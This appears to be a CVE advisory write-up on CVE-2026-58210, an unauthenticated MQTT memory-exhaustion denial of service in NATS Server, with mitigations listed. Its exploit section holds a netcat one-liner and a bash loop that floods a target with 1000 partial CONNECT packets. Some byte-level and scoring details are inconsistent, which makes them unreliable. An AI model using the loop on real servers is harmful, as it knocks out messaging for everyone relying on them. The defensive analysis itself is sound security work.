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How CVE-2026-58210 Works
NATS Server is a high-performance messaging system for cloud and edge-native environments. The vulnerability exists in the MQTT parser component, which handles incoming MQTT CONNECT packets. In affected versions prior to 2.14.3 and 2.12.12, the server does not properly throttle or limit resources when processing these packets.
An unauthenticated MQTT client can exploit this by sending a large, incomplete MQTT CONNECT packet. The MQTT protocol allows the client to advertise the total packet length in the header. The server parser, upon receiving this header, allocates memory to buffer the entire packet, waiting for the remaining bytes to arrive. Because the authentication process occurs after the complete CONNECT packet is received and parsed, this memory allocation happens before any credentials are validated.
By opening many MQTT connections and sending partial CONNECT packets with a large advertised length, an attacker can cause the server to allocate significant memory for each incomplete connection. The server retains these buffers while waiting for the rest of the data, which may never arrive. This can quickly exhaust available server memory, leading to a Denial of Service (DoS).
The vulnerability is classified as CWE-770: Allocation of Resources Without Limits or Throttling. Exploitation is only possible on deployments where the MQTT interface is enabled. The buffered memory is eventually released when the authentication timeout disconnects the idle client, but an attacker can continuously open new connections to sustain the attack.
DailyCVE Form
Platform: NATS Server
Version: <2.12.12, 2.14.0-RC.1 to <2.14.3
Vulnerability: Unauthenticated MQTT memory exhaustion
Severity: High (8.7 CVSS)
Date: July 8, 2026
Prediction: Patch expected July 2026
What Undercode Say (Analytics)
EPSS Score: 0.73% (50th percentile)
Exploit Availability: No public exploit available
Attack Vector: Network
Attack Complexity: Low
Privileges Required: None
User Interaction: None
Availability Impact: High
CVSS Vector String (Snyk): AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
CVSS v3 VulDB Score: 5.3 (Medium)
Exploit
The exploitation process involves the following steps:
- Establish MQTT Connection: Open a TCP connection to the NATS Server’s MQTT port (default 1883).
- Send Malformed CONNECT Packet: Send an MQTT CONNECT packet with a valid fixed header but a malicious variable header. The key is to set the “Remaining Length” field to a very large value (e.g., 0xFFFFFFFF) while transmitting only a small portion of the actual payload (e.g., a few bytes).
- Maintain Connection: Keep the connection open without sending the remaining data. The server will allocate memory to buffer the advertised packet length and wait for the rest.
- Repeat: Open multiple such connections simultaneously to exhaust server memory.
Example (Conceptual using `netcat`):
Craft a partial MQTT CONNECT packet (hex) with a large remaining length. The following is a simplified example; actual packet would be more complex. This demonstrates sending a CONNECT packet with a 4-byte header advertising 0xFFFFFFFF bytes. echo -n -e "\x10\xFF\xFF\xFF\x7F" | nc <target-ip> 1883
Bash Script for Multiple Connections (Conceptual):
!/bin/bash This script demonstrates a conceptual DoS attempt against CVE-2026-58210. Use only in authorized environments for testing. TARGET_IP="192.168.1.100" MQTT_PORT=1883 CONNECTIONS=1000 for i in $(seq 1 $CONNECTIONS); do Send the partial CONNECT packet and keep the connection open. The server will allocate memory for the advertised length. (echo -n -e "\x10\xFF\xFF\xFF\x7F"; sleep 3600) | nc $TARGET_IP $MQTT_PORT & done echo "Sent $CONNECTIONS partial CONNECT packets. Monitor server memory usage."
Protection
- Upgrade NATS Server: Immediately upgrade to version 2.14.3 or 2.12.12.
- Disable MQTT: If MQTT is not required, disable the MQTT listener in the server configuration to completely eliminate the attack surface.
- Network Filtering: Restrict access to the MQTT port (default 1883) to only trusted IP addresses using firewall rules.
- Resource Monitoring: Implement monitoring for unusual memory consumption and a high number of incomplete MQTT connections.
Impact
Successful exploitation of CVE-2026-58210 results in a Denial of Service (DoS) condition. An attacker can exhaust the server’s available memory, causing the NATS Server process to become unresponsive, crash, or be terminated by the operating system’s Out-Of-Memory (OOM) killer. This disrupts all messaging services provided by the server, including NATS core and JetStream, affecting any applications or services that rely on the NATS infrastructure for communication.
While there is no impact on data confidentiality or integrity, the availability impact is significant. The attack requires no authentication and can be launched remotely with low complexity, making it a serious risk for publicly exposed or inadequately protected NATS deployments with MQTT enabled.
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Sources:
Reported By: nvd.nist.gov
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